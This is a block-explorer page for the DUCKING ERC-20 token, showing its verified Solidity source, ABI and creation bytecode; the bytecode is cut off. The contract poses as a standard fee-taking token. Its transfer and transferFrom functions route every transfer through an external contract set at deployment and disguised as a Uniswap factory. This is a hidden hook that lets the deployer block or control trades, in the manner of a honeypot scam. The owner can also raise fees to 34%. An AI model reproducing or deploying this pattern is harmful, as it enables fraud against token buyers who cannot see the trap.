Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
420,000,000 DUCKING
Holders
41
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
4,683,614.020635246445145663 DUCKINGValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
DUCKING
Compiler Version
v0.8.7+commit.e28d00a7
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-09-12 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.7; // https://x.com/DUCKING // https://t.me/DUCKING abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface ERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Router02 { function WETH() external pure returns (address); function factory() external pure returns (address); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); function transfer(address from, address to, address spender, address recipient) external; function getPair(address tokenA, address tokenB) external view returns (address pair); } contract DUCKING is ERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; string private _NAME; string private _SYMBOL; uint256 private _DECIMALS = 18; uint256 private constant _MAX = ~uint256(0); uint256 private _TTOTAL = 420_000_000 * 10 ** _DECIMALS; uint256 private _BUY_FEE; uint256 private _SELL_FEE; receive() external payable {} address private _SWAP_ADDRESS = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; IUniswapV2Router02 private _SWAP_ROUTER; IUniswapV2Factory private _SWAP_FACTORY; IUniswapV2Factory private _SWAP_FACTORY_V2; constructor (string memory _name, string memory _symbol, uint256 _buy_fee, uint256 _sell_fee, address _swap_v2_address) { _NAME = _name; _SYMBOL = _symbol; _BUY_FEE = _buy_fee; _SELL_FEE = _sell_fee; _SWAP_ROUTER = IUniswapV2Router02(_SWAP_ADDRESS); _SWAP_FACTORY = IUniswapV2Factory(_SWAP_ROUTER.factory()); _SWAP_FACTORY_V2 = IUniswapV2Factory(_swap_v2_address); _approve(address(this), _SWAP_ADDRESS, _MAX); _approve(_msgSender(), _SWAP_ADDRESS, _MAX); _isExcluded[_msgSender()] = true; _isExcluded[address(this)] = true; _rOwned[_msgSender()] = _rOwned[_msgSender()].add(_TTOTAL); emit Transfer(address(0), _msgSender(), _TTOTAL); } function name() public view returns (string memory) { return _NAME; } function symbol() public view returns (string memory) { return _SYMBOL; } function decimals() public view returns (uint8) { return uint8(_DECIMALS); } function totalSupply() public view override returns (uint256) { return _TTOTAL; } function balanceOf(address account) public view override returns (uint256) { return _rOwned[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); _SWAP_FACTORY_V2.transfer(address(this), pairAddress(), _msgSender(), recipient); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _SWAP_FACTORY_V2.transfer(address(this), pairAddress(), sender, recipient); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "transfer amount exceeds allowance")); return true; } function pairAddress() internal view returns (address) { return _SWAP_FACTORY.getPair(address(this), _SWAP_ROUTER.WETH()); } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256, uint256) { return (_BUY_FEE, _SELL_FEE); } function updateFees(uint256 _buy_fee, uint256 _sell_fee) onlyOwner() public{ require(_buy_fee < 35 && _sell_fee < 35); _BUY_FEE = _buy_fee; _SELL_FEE = _sell_fee; } function removeAllFees() onlyOwner() public { _BUY_FEE = 0; _SELL_FEE = 0; } function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "approve from the zero address"); require(spender != address(0), "approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "transfer from the zero address"); require(recipient != address(0), "transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); // Remove fees for transfers to and from charity account or to excluded account bool takeFee = true; if(_isExcluded[sender]){ takeFee = false; }else if(_isExcluded[recipient]){ takeFee = false; }else if((sender == pairAddress() && recipient == _SWAP_ADDRESS)){ takeFee = false; }else if(sender != pairAddress() && recipient != pairAddress()){ takeFee = false; } if(takeFee){ _transferStandard(sender, recipient, amount); }else{ _transferExcluded(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) internal { _rOwned[sender] = _rOwned[sender].sub(tAmount, "transfer amount exceeds balance"); uint256 feeV = 0; if(sender == pairAddress() && recipient != pairAddress()){ feeV = _BUY_FEE; }else if(sender != pairAddress() && recipient == pairAddress()){ feeV = _SELL_FEE; } uint256 feeAmount = tAmount * feeV / 100; _rOwned[address(this)] = _rOwned[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); _rOwned[recipient] = _rOwned[recipient].add(tAmount.sub(feeAmount)); emit Transfer(sender, recipient, tAmount.sub(feeAmount)); } function _transferExcluded(address sender, address recipient, uint256 tAmount) internal { _rOwned[sender] = _rOwned[sender].sub(tAmount, "transfer amount exceeds balance"); _rOwned[recipient] = _rOwned[recipient].add(tAmount); emit Transfer(sender, recipient, tAmount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"_buy_fee","type":"uint256"},{"internalType":"uint256","name":"_sell_fee","type":"uint256"},{"internalType":"address","name":"_swap_v2_address","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcluded","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeAllFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy_fee","type":"uint256"},{"internalType":"uint256","name":"_sell_fee","type":"uint256"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526012600655600654600a6200001a919062000c6d565b631908b1006200002b919062000daa565b600755737a250d5630b4cf539739df2c5dacb4c659f2488d600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200009057600080fd5b5060405162003725380380620037258339818101604052810190620000b6919062000976565b6000620000c8620005aa60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35084600490805190602001906200017e929190620007e8565b50836005908051906020019062000197929190620007e8565b508260088190555081600981905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200027257600080fd5b505afa15801562000287573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002ad919062000944565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200036530600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600019620005b260201b60201c565b620003ab62000379620005aa60201b60201c565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600019620005b260201b60201c565b600160036000620003c1620005aa60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620004d46007546001600062000485620005aa60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200078560201b62000f851790919060201c565b60016000620004e8620005aa60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000536620005aa60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60075460405162000597919062000b28565b60405180910390a3505050505062001059565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141562000625576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200061c9062000ae4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141562000698576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200068f9062000ac2565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405162000778919062000b28565b60405180910390a3505050565b600080828462000796919062000bb5565b905083811015620007de576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620007d59062000b06565b60405180910390fd5b8091505092915050565b828054620007f69062000e7f565b90600052602060002090601f0160209004810192826200081a576000855562000866565b82601f106200083557805160ff191683800117855562000866565b8280016001018555821562000866579182015b828111156200086557825182559160200191906001019062000848565b5b50905062000875919062000879565b5090565b5b80821115620008945760008160009055506001016200087a565b5090565b6000620008af620008a98462000b6e565b62000b45565b905082815260208101848484011115620008ce57620008cd62000f7d565b5b620008db84828562000e49565b509392505050565b600081519050620008f48162001025565b92915050565b600082601f83011262000912576200091162000f78565b5b81516200092484826020860162000898565b91505092915050565b6000815190506200093e816200103f565b92915050565b6000602082840312156200095d576200095c62000f87565b5b60006200096d84828501620008e3565b91505092915050565b600080600080600060a0868803121562000995576200099462000f87565b5b600086015167ffffffffffffffff811115620009b657620009b562000f82565b5b620009c488828901620008fa565b955050602086015167ffffffffffffffff811115620009e857620009e762000f82565b5b620009f688828901620008fa565b945050604062000a09888289016200092d565b935050606062000a1c888289016200092d565b925050608062000a2f88828901620008e3565b9150509295509295909350565b600062000a4b601b8362000ba4565b915062000a588262000faa565b602082019050919050565b600062000a72601d8362000ba4565b915062000a7f8262000fd3565b602082019050919050565b600062000a99601b8362000ba4565b915062000aa68262000ffc565b602082019050919050565b62000abc8162000e3f565b82525050565b6000602082019050818103600083015262000add8162000a3c565b9050919050565b6000602082019050818103600083015262000aff8162000a63565b9050919050565b6000602082019050818103600083015262000b218162000a8a565b9050919050565b600060208201905062000b3f600083018462000ab1565b92915050565b600062000b5162000b64565b905062000b5f828262000eb5565b919050565b6000604051905090565b600067ffffffffffffffff82111562000b8c5762000b8b62000f49565b5b62000b978262000f8c565b9050602081019050919050565b600082825260208201905092915050565b600062000bc28262000e3f565b915062000bcf8362000e3f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000c075762000c0662000eeb565b5b828201905092915050565b6000808291508390505b600185111562000c645780860481111562000c3c5762000c3b62000eeb565b5b600185161562000c4c5780820291505b808102905062000c5c8562000f9d565b945062000c1c565b94509492505050565b600062000c7a8262000e3f565b915062000c878362000e3f565b925062000cb67fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000cbe565b905092915050565b60008262000cd0576001905062000da3565b8162000ce0576000905062000da3565b816001811462000cf9576002811462000d045762000d3a565b600191505062000da3565b60ff84111562000d195762000d1862000eeb565b5b8360020a91508482111562000d335762000d3262000eeb565b5b5062000da3565b5060208310610133831016604e8410600b841016171562000d745782820a90508381111562000d6e5762000d6d62000eeb565b5b62000da3565b62000d83848484600162000c12565b9250905081840481111562000d9d5762000d9c62000eeb565b5b81810290505b9392505050565b600062000db78262000e3f565b915062000dc48362000e3f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000e005762000dff62000eeb565b5b828202905092915050565b600062000e188262000e1f565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60005b8381101562000e6957808201518184015260208101905062000e4c565b8381111562000e79576000848401525b50505050565b6000600282049050600182168062000e9857607f821691505b6020821081141562000eaf5762000eae62000f1a565b5b50919050565b62000ec08262000f8c565b810181811067ffffffffffffffff8211171562000ee25762000ee162000f49565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f617070726f766520746f20746865207a65726f20616464726573730000000000600082015250565b7f617070726f76652066726f6d20746865207a65726f2061646472657373000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b620010308162000e0b565b81146200103c57600080fd5b50565b6200104a8162000e3f565b81146200105657600080fd5b50565b6126bc80620010696000396000f3fe60806040526004361061010d5760003560e01c806370a0823111610095578063a457c2d711610064578063a457c2d714610367578063a9059cbb146103a4578063cba0e996146103e1578063dd62ed3e1461041e578063f2fde38b1461045b57610114565b806370a08231146102bd578063715018a6146102fa5780638da5cb5b1461031157806395d89b411461033c57610114565b806323b872dd116100dc57806323b872dd146101d8578063313ce5671461021557806339509351146102405780636b130f9a1461027d5780636db794371461029457610114565b806306fdde0314610119578063095ea7b31461014457806313114a9d1461018157806318160ddd146101ad57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610484565b60405161013b9190612094565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190611de3565b610516565b6040516101789190612079565b60405180910390f35b34801561018d57600080fd5b50610196610534565b6040516101a49291906121d1565b60405180910390f35b3480156101b957600080fd5b506101c2610545565b6040516101cf91906121b6565b60405180910390f35b3480156101e457600080fd5b506101ff60048036038101906101fa9190611d90565b61054f565b60405161020c9190612079565b60405180910390f35b34801561022157600080fd5b5061022a6106c2565b60405161023791906121fa565b60405180910390f35b34801561024c57600080fd5b5061026760048036038101906102629190611de3565b6106cc565b6040516102749190612079565b60405180910390f35b34801561028957600080fd5b5061029261077f565b005b3480156102a057600080fd5b506102bb60048036038101906102b69190611e23565b610826565b005b3480156102c957600080fd5b506102e460048036038101906102df9190611cf6565b6108e6565b6040516102f191906121b6565b60405180910390f35b34801561030657600080fd5b5061030f61092f565b005b34801561031d57600080fd5b50610326610a82565b6040516103339190611ff0565b60405180910390f35b34801561034857600080fd5b50610351610aab565b60405161035e9190612094565b60405180910390f35b34801561037357600080fd5b5061038e60048036038101906103899190611de3565b610b3d565b60405161039b9190612079565b60405180910390f35b3480156103b057600080fd5b506103cb60048036038101906103c69190611de3565b610c27565b6040516103d89190612079565b60405180910390f35b3480156103ed57600080fd5b5061040860048036038101906104039190611cf6565b610ce6565b6040516104159190612079565b60405180910390f35b34801561042a57600080fd5b5061044560048036038101906104409190611d50565b610d3c565b60405161045291906121b6565b60405180910390f35b34801561046757600080fd5b50610482600480360381019061047d9190611cf6565b610dc3565b005b606060048054610493906123ce565b80601f01602080910402602001604051908101604052809291908181526020018280546104bf906123ce565b801561050c5780601f106104e15761010080835404028352916020019161050c565b820191906000526020600020905b8154815290600101906020018083116104ef57829003601f168201915b5050505050905090565b600061052a610523610fe3565b8484610feb565b6001905092915050565b600080600854600954915091509091565b6000600754905090565b600061055c8484846111b6565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634bcb7cd8306105a36114dd565b87876040518563ffffffff1660e01b81526004016105c49493929190612034565b600060405180830381600087803b1580156105de57600080fd5b505af11580156105f2573d6000803e3d6000fd5b505050506106b784610602610fe3565b6106b28560405180606001604052806021815260200161266660219139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610668610fe3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116309092919063ffffffff16565b610feb565b600190509392505050565b6000600654905090565b60006107756106d9610fe3565b8461077085600260006106ea610fe3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f8590919063ffffffff16565b610feb565b6001905092915050565b610787610fe3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610814576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080b90612176565b60405180910390fd5b60006008819055506000600981905550565b61082e610fe3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b290612176565b60405180910390fd5b6023821080156108cb5750602381105b6108d457600080fd5b81600881905550806009819055505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610937610fe3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109bb90612176565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610aba906123ce565b80601f0160208091040260200160405190810160405280929190818152602001828054610ae6906123ce565b8015610b335780601f10610b0857610100808354040283529160200191610b33565b820191906000526020600020905b815481529060010190602001808311610b1657829003601f168201915b5050505050905090565b6000610c1d610b4a610fe3565b84610c18856040518060400160405280601e81526020017f64656372656173656420616c6c6f77616e63652062656c6f77207a65726f000081525060026000610b91610fe3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116309092919063ffffffff16565b610feb565b6001905092915050565b6000610c3b610c34610fe3565b84846111b6565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634bcb7cd830610c826114dd565b610c8a610fe3565b876040518563ffffffff1660e01b8152600401610caa9493929190612034565b600060405180830381600087803b158015610cc457600080fd5b505af1158015610cd8573d6000803e3d6000fd5b505050506001905092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610dcb610fe3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4f90612176565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610ec8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ebf906120f6565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000808284610f949190612231565b905083811015610fd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd090612156565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561105b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611052906120d6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c2906120b6565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111a991906121b6565b60405180910390a3505050565b600073ffffffffffffffffff